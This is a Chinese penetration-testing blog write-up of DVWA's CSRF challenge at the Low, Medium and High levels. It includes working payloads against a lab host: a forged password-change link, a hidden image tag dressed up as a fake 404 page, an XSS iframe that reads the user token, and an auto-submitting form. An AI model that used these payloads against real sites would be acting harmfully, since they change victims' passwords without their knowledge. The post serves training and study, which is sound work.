【渗透测试】【DVWA】CSRF

【CSRF】

全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。


【Low】

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制。

Ⅰ.通过构造链接,诱导用户点击:

http://192.168.133.128/dvwa/vulnerabialities/csrf/?password_new=password&password_conf=password&Change=Change#

但是这样很拙劣…一眼就可以看出来,而且会跳转到提示密码更改成功的页面。在做渗透测试的时候可以用,但是实际的攻击中一般情况下是不会攻击成功的。

Ⅱ.伪造攻击页面:

<img src="http://192.168.133.128/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404 ERROR !<h1>

<h2>Files Not Found.<h2>

我们可以使用上面这一段脚本,保存成一个.html文件,诱骗用户点击这个页面的链接,然后用户会看到一个如下的页面,类似一个404错误页面:

但是在他们的不知道的时候,密码已经被更改了:


【Medium】

stripos(string,find,start)

string:必需。规定被搜索的字符串。

find:必需。规定要查找的字符。

start:可选。规定开始搜索的位置。

返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

所以上面的PHP代码是在referer字段里面找主机名,我这里的主机名是192.168.133.128。

这个级别的CSRF,说实话,想了很久没有想起来怎么搞,后来去网上一搜,有个大佬在freebuf上写的一篇文章里说是将文件命名为主机名,即192.168.133.128.html就可以了,所以我就来试了一下。因为需要referer字段,所以我们必须把这个脚本放在服务器上。

(因为我只在一台虚拟机上搭建了服务器,所以我又费了九牛二虎之力又搭建了一个服务器…)


【High】

High级别的代码加入了Anti-CSRF token机制进行用户的token验证,来鉴定用户的身份。所以我们要利用token进行绕过CSRF。

①首先我们需要先获取用户token…由于现在都已经不支持跨域请求访问了,所以我们只能从别的地方入手获取token,尝试了很久之后发现可以利用下面的脚本在XSS(Stored)的Name参数进行XSS攻击,获取用户token。

<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

 然后利用下面的脚本构造攻击页面进行攻击,但是有点问题,因为攻击成功之后会显示提示密码修改成功的页面。

<script type="text/javascript">
    function attack()
    {
        document.getElementById("transfer").submit(); 
    }
</script>

<body onload="attack()">
    <form method="GET" id="transfer" action="http://192.168.133.128/dvwa/vulnerabilities/csrf">
        <input type="hidden" name="password_new" value="password">
        <input type="hidden" name="password_conf" value="password">
        <input type='hidden' name='user_token' value="52ba1c9c2a51e07e50d9ad596f0822c0">
        <input type="hidden" name="Change" value="Change">
    </form>
</body>

一时半会还没想到怎么解决这个问题。后面再说,先写到这里。Impossible级别就是加入了PDO技术防注入并且在修改密码之前要求用户输入原密码进行验证,所以是相对安全的。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值